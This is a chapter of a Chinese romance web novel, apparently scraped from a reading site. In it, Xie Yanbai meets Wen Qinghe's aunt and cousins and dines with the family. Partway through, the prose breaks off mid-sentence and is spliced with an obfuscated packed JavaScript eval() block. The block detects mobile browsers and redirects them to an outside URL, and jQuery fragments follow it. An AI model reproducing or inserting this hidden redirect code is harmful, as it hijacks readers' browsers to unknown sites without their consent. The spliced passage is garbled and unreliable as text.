34. 心结

作品:《咸鱼童养媳只想退婚

    温青禾究竟认识多少个漂亮的少年?怎么送走了一个,又来了一个更瞩目的?如此看来,难不成是因为温青禾在京城过于风流才被谢府退婚的?


    她还是觉得温青禾莫名其妙的回来有问题!就算是温青禾身边的追求者众多,导致她有些眼花缭乱,那也是因为她年纪小,她又未曾真的提出悔婚。再说了,那谢砚白比她大九岁呢,谁知道长相风姿如何?温青禾喜欢上别人,那也是正常的,谁叫他拴不住她的心!


    表姑脑子里如走马灯一般盘算,可眼下毕竟有更为重要的事情,于是强甩开这些乱七八糟的猜测,看向这位公子身后的温青禾,连忙上前去握住她的手,“如何了?为何今日有人说你表姑父已经被放了?你可知此事?”


    温青禾安抚的拍了拍表姑的手,“我知道,这是砚白哥哥,就是他派人救出来的表姑父。”


    表姑一怔,顿时愣在原地,只惊讶的看向谢砚白,“这是谢家公子?”


    这位神仙公子竟然是他?长得这么好看?还这么有能力?虽说年纪大了些,但是这风华气度只怕是天上有地下无啊,那温青禾脑袋是被驴踢了吗不喜欢他?虽然周赞也很不错,可是她毕竟是和谢砚白有婚约的呀,表姑有些狐疑的看向温青禾。


    温青禾却不知表姑心里的想法,还以为她不信,便接着道:“表姑父真的被放出来了,砚白哥哥说的话一言九鼎,明早我们就回去看他。”


    谢砚白笑着看了她一眼,又向表姑作揖行礼,“谢氏子砚白,见过表姑。”


    温青禾怔了怔,看向谢砚白,有些疑惑他为何如此称呼,但是又一想,此刻在表姑看来,他们两个的婚约未解,想来怕是砚白哥哥知道了怕温青禾和表姑难堪,所以也随着她的称呼叫人了。


    可还是有些难为情。


    果然见表姑和林昭林蓓俱是一惊,表姑连连托起谢砚白胳膊,“谢家公子客气了,哪用这么见外。”


    谢砚白起身一笑,“表姑叫我砚白就好。”


    温青禾有些狐疑的看他,这么随和,这还是她那方才对着陈居言笑里藏刀雷霆手段的砚白哥哥吗?


    表姑倒是很难像他这么自来熟,可又好似不敢不听他的,便干巴巴的笑着道了声砚白。


    林蓓此刻已得知父亲已然安全,便又恢复了一副看热闹不嫌事大的秉性,笑着道了一声,“姐夫好,我是林蓓,这是林昭,我们是青禾的弟弟妹妹,是双生子。”


    谢砚白点头,笑着和他们见礼,“阿弟阿妹好。”


    温青禾一个头两个大,再也演不下去了,跟表姑一样干巴巴的挤出了一个笑,“既然如此,表姑你们也不用担心了,快张罗蝉音他们准备饭菜吧,砚白哥哥为这个事情忙活一整天了也没吃饭。”


    说着便把几人推走,林昭从刚才开始就有些老大不乐意,闻言想留下来,却被母亲使着眼色强硬的拖走。


    待人散去,温青禾才皱着一张脸道:“砚白哥哥,我表姑还不知道我们已经解除婚约了,但是我已经告诉她这门婚事成不了,所以你也无需……”


    她说不出话来,无需什么?无需配合她演戏?


    这话说着就难为情。


    谢砚白打量了她一番,想了想,斟酌着措辞道:“这怎么能行,你若告诉她要解除婚约,表姑若是拿了婚约一纸诉状将我诉至京兆府,岂不是毁我为官清誉?”


    啊?


    温青禾愣住了,可转念一想,表姑还真有可能做得出来这种事。


    可是……


    她看着谢砚白一本正经的样子,砚白哥哥这样的权臣,还这么八面玲珑,还怕这一纸小小的诉状?难不成背弃婚约的罪名这么大?可是转念一想,他才对太子党雷霆出击,那边可能正等着拿他的把柄,眼下便送上来错处给他们做文章,怕是麻烦。


    嗯,那她还是别添乱了。


    她挠挠头,“那……那也行吧。”


    个小没良心的,谢砚白瞥了一眼她有些不情不愿的表情,真是个用人朝前不用人朝后的丫头。


    “那砚白哥哥你坐一会儿,我去看看晚饭如何了。”温青禾撂下一句,也不待谢砚白回话,便转身出了厅堂。


    谢砚白看着她的背影有些无奈,这就被吓跑了,今后该如何是好?


    “姐夫?”廊柱后伸出一个脑袋,谢砚白回头,见是一个方才那位表妹,好像叫,林蓓?


    分明已然退下了,却在温青禾离开后特意找来,想是有事找自己,便颔首看向她未说话。


    林蓓看了眼身后,这才跨步从廊柱后走出来,手里竟还端了一壶茶,给谢砚白倒了一盏后道:“这是阿禾最爱的九曲红梅,姐夫先用,今日为我们一家奔波忙碌,姐夫辛苦了。”


    这一声声姐夫,叫的谢砚白心里确实妥帖,暗道这是个机灵的姑娘,于是坐下笑道:“妹妹挂心了,既是青禾的家人,本就是我的份内之事,不足挂齿。”


    林蓓听了,心里哪有不明白的。


    怪不得温青禾不答应周赞,如此公子,芝兰玉树,又对温青禾上了心,怕是温青禾在还不知道什么是感情的时候,心里就已经有了他的影子。


    在二者之间选的话,林蓓也倾向于谢砚白,一来嘛,谁叫人家救了自己爹,拿人手短。二来,谢砚白毕竟才是正经的未婚夫,她听自己的娘念叨了这么多年,先入为主。三来,林蓓想起了刚才温青禾在谢砚白面前的样子,羞怯,小心,敬若神明,哪里像在周赞面前的坦荡?


    还有,同样是喊表姑,温青禾会踩周赞的脚让他少乱喊,可是谢砚白同样如此,温青禾却好似只有愣怔,随后就好像默认了?


    于是林蓓决定帮他一把,眼珠子转了转道:“姐夫可是想娶阿禾?”


    谢砚白放在案上的手微微一曲,抬眸看向林蓓,半晌,忽的笑了,“自然。”


    “那你就要先解决她的一个心结才行,否则,她便是再喜欢你,也不会同意和你好的。”林蓓摇头晃脑道。


    这一副看惯风月的模样倒是让谢砚白不得不重新打量起来林蓓,“哦?什么心结?”


    其实他心里隐隐知道,此前温青禾的最大心结是谢家长辈,如今,怕是又添了一个周赞……


    这厮,定是趁这段时间让温青禾允了他什么要求。


    罢,也合该都是缘于他的迟疑。


    果


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444894|184818||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    然这边厢林蓓开口,“周赞!我虽不知他和阿禾究竟是什么交情,但我知道阿禾对他虽无半点男女之情,可必定是将他视为好友的,我听她说,她在京城只周赞和一个叫谢湘云的姑娘两个好朋友。而且我听到了那个周赞离开之前,叫阿禾把心守好,万万不要交给旁人,等他三年呢。”


    一番话说完,林蓓吊捎着眼打算见谢砚白着急跳脚的样子,她承认她有点恶趣味,说这番话,不仅是出于要帮谢砚白,还隐隐藏了看热闹的心思。


    却不料想谢砚白只从容放下手里的茶盏,勾了勾唇,“他想得美。”


    嗯?


    林蓓有些呆住,他就不着急的吗?难道这还不至于让他有危机感吗?


    未等她说话,谢砚白又站起身笑道:“不过还是谢谢妹妹提醒,我会让青禾解开心结的。”


    那边膳食已然备好,表姑已张罗着谢砚白前去吃饭。


    饭桌上,竟是罕见的安静,温青禾有心热络气氛,便夹了一筷子春笋步鱼,“砚白哥哥,你以前在杭州时可吃过这道菜?”


    林昭见走了一个周赞,又来了一个谢砚白,又见温青禾对他如此殷勤周到,顿时有些懊丧,憋着气,也夹了一筷子,想到什么,问温青禾,“明日庙会,你不是一直想吃吴山酥油饼吗?我们同去?”


    表姑拿筷子敲林昭的头,“个白眼狼,你爹刚放出来,你就不跟我回去看看他?”


    林昭哦了一声,实在是知道了老爹没事后,注意力就不在他那里了,随即眼睛又亮了起来,“无碍,那就后日!”


    温青禾转头去看谢砚白,“砚白哥哥可要同去?吴山庙会很热闹的,这个时节去,约莫还能看三秋桂子。”话说到此,似是想到什么,她莞尔一笑,露出两个梨涡。


    谢砚白只觉眼前一晃,那笑容好似有些灼人。他挪开了视线,这才想起,临行江南前,温青禾跟自己说杭州的景致,“山寺月中寻桂子,郡亭枕上看潮头”,于是调侃道:“难为你还记得。”


    温青禾自然知道他在说什么,就是他回来的时候自己迟了片刻才确认他的面容,便被他玩笑开到现在,便有些不高兴的斜乜了他一眼,不说话,眼波流转,顾盼生辉。


    谢砚白到底是大人,知道长辈面前不能失仪,便按下心头的那一丝噪意,回答她之前的问题,“我这几日会有些忙,没办法一直陪着你,后日我派人送你们去。”


    温青禾自然的忽略了陪她去这个稍显暧昧的措辞,只关心道:“免了陈居言,你是不是会很麻烦?你又要在这里待三年吗?”


    她的眼睛发亮,像是两颗完美的琥珀珠子。


    谢砚白摇摇头,“不麻烦,只是走一些必要的流程,我也待不了太久,半个月左右我便要离开了。”


    温青禾一怔,万万没想到,他竟然要走,她心里有些说不出的难受。


    今日真是一个跌宕起伏的生辰,一年的起伏都在这一日叫她经历了。她原本还在为陈居言走后,谢砚白原本有可能留下接替他巡视三年的可能有些雀跃,可转眼间,又得知这相聚时光如黄粱一梦。


    她低下头,有些百无聊赖的搅弄着碗里的米饭。